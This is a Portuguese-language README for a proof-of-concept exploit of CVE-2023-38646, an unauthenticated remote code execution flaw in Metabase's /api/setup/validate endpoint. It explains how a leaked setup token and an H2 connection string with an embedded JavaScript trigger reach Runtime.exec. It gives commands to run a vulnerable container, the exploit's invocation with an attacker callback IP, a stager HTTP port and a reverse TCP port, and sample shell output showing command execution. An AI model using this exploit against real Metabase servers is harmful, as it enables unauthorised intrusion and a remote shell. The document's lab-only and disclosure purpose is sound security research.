
O repositório contém o PoC e os passos para reproduzir o cve 2023-38646.
CVSS 9.8. Versões do Metabase anteriores a 0.46.6.1 / 1.46.6.1 (e ramificações
anteriores equivalentes) expõem uma RCE sem autenticação via endpoint
/api/setup/validate, que tem a finalidade de validar detalhes de conexão de
banco de dados durante a configuração inicial, mas é acessível sem autenticação
mesmo após a configuração já ter sido concluída.
O endpoint aceita um payload de conexão de banco de dados e, quando engine: h2
é especificado com uma string de conexão JDBC manipulada, permite incorporar
JavaScript arbitrário via sintaxe CREATE TRIGGER ... AS $$//javascript do H2.
O corpo do trigger é executado no momento da validação, dando ao atacante
execução de JavaScript dentro da JVM — o que trivialmente escala para execução
de comandos do sistema operacional via java.lang.Runtime.getRuntime().exec().
O problema subjacente é o mecanismo de banco de dados H2 confiar em código embutido na string de conexão como parte da "validação" de uma fonte de dados, combinado com o Metabase expor esse caminho de validação sem autenticação.
metabase/metabase:v0.46.6requests, termcolorExecute o Metabase vulnerável:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # wait for "Metabase Initialization COMPLETE"
Instale as dependências do exploit:
pip3 install requests termcolor
/api/session/properties vaza um setup-token
que deveria controlar o fluxo de configuração inicial único, mas permanece válido
e utilizável mesmo após a configuração estar concluída.java.lang.Runtime.getRuntime().exec() para buscar um stager bash do
servidor HTTP do atacante e enviar a saída do comando de volta por um
listener TCP puro, codificada em base64.python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — IP de callback do atacante (gateway da bridge Docker quando o alvo é um
contêiner local, ex.: 172.17.0.1)-p — porta na qual o canal reverso de dados se conecta de volta-P — porta do servidor HTTP local que serve o script stager-u — URL base do Metabase alvoEntra em um prompt interativo metabase_shell > assim que o callback
sem autenticação confirma a explorabilidade.
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
Execução de comandos confirmada na conta de serviço metabase — sem autenticação,
sem necessidade de credenciais. A gravidade decorre de uma RCE alcançável pela rede
com zero autenticação, não do nível de privilégio do shell resultante.
Corrigido no Metabase 0.46.6.1 / 1.46.6.1 e versões posteriores — o endpoint
/api/setup/validate agora exige que a configuração esteja genuinamente incompleta,
e os tokens de configuração são invalidados assim que a configuração inicial termina.
Apenas para uso em laboratório isolado. Não execute contra instâncias do Metabase que você não possua ou para as quais não tenha autorização explícita para testar.